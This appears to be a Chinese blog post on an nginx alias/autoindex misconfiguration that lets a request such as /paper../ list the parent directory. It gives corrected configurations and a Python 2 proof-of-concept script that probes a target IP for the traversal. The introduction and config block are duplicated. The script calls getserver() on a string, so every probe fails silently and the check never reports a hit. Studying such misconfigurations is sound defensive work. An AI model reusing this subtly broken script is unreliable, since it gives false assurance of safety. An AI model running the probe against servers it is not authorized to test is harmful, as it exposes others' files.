nginx 配置错误目录遍历漏洞

nginx 是一款高性能的 web 服务器,使用非常广泛,其不仅经常被用作反向代理

在 nginx 中开启 autoindex,配置不规范而造成目录遍历漏洞

配置如下:

server { 
       listen 80; 
       server_name *.*.*.*; 
       index index.htm index.html; 
       root /home/wwwroot/www; 
       access_log off; 
       location /paper { 
               alias /home/wwwroot/paper/; 
               autoindex on; 
       } 
}

注意 这里 /home/wwwroot/paper/; 有个 /

当你浏览 http://*.*.*.*:80/paper/, 正常情况应该遍历 /home/wwwroot/paper/ 这个目录,但是如果访问 http://*.*.*.*:80/paper../, 这个的话就会遍历 /home/wwwroot/ 这个目录了 nginx 是一款高性能的 web 服务器,使用非常广泛,其不仅经常被用作反向代理

在 nginx 中开启 autoindex,配置不规范而造成目录遍历漏洞

配置如下:

server {
    listen    80;
    server_name *.*.*.*;
    index index.htm index.html;
    root  /home/wwwroot/www;
    access_log off;
    location /paper {
           alias /home/wwwroot/paper/;
           autoindex on;
       }
}

注意 这里 /home/wwwroot/paper/; 有个 /

当你浏览 http://*.*.*.*:80/paper/, 正常情况应该遍历 /home/wwwroot/paper/ 这个目录,但是如果访问 http://*.*.*.*:80/paper../, 这个的话就会遍历 /home/wwwroot/ 这个目录了 nginx (Tested at 1.1.10) sebug 建议:

使用如下配置:

location /paper {
        alias /home/wwwroot/paper; 
}

或:

location /paper/ {
        alias /home/wwwroot/paper/;
}

接下来介绍一个自己测试用到的检测脚本(用 Python 编写):

#!/usr/bin/env python
# -*- coding: utf_8 -*-
# nginx配置错误目录遍历漏洞
# Date: 2019-01-14
import sys
import urllib2
from lxml import etree


pocs = ['logs', 'test', 'paper']


def nginx_test(ip, port):
    try:
        for poc in pocs:
            try:
                res1 = urllib2.urlopen("http://" + ip + ":" + port + "/" + poc, timeout = 5)
                res_1 = res1.read()
                code1 = res1.getcode()
                server1 = res_1.getserver()
                cmp_str1 = 'Index of /' + poc + '/'
                html1 = etree.HTML(res_1)
                title1 = html1.xpath('//title')
                # print title1[0].text
                if code1 == 200 and cmp_str1 == title1[0].text:
                    res2 = urllib2.urlopen("http://" + ip + ":" + port + "/" + poc +"../", timeout = 3)
                    res_2 = res2.read()
                    code2 = res2.getcode()
                    cmp_str2 = 'Index of /' + poc + '../'
                    html2 = etree.HTML(res_2)
                    title2 = html2.xpath('//title')
                    # print title2[0].text
                    if code2 == 200 and cmp_str2 == title2[0].text and res_1 is not res_2:
                        print "True"
                        return True
            except Exception,e:
                print 'error:', e
                pass
        return False
    except Exception,e:
        print e
        return False

nginx_test("IP", "PORT")

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值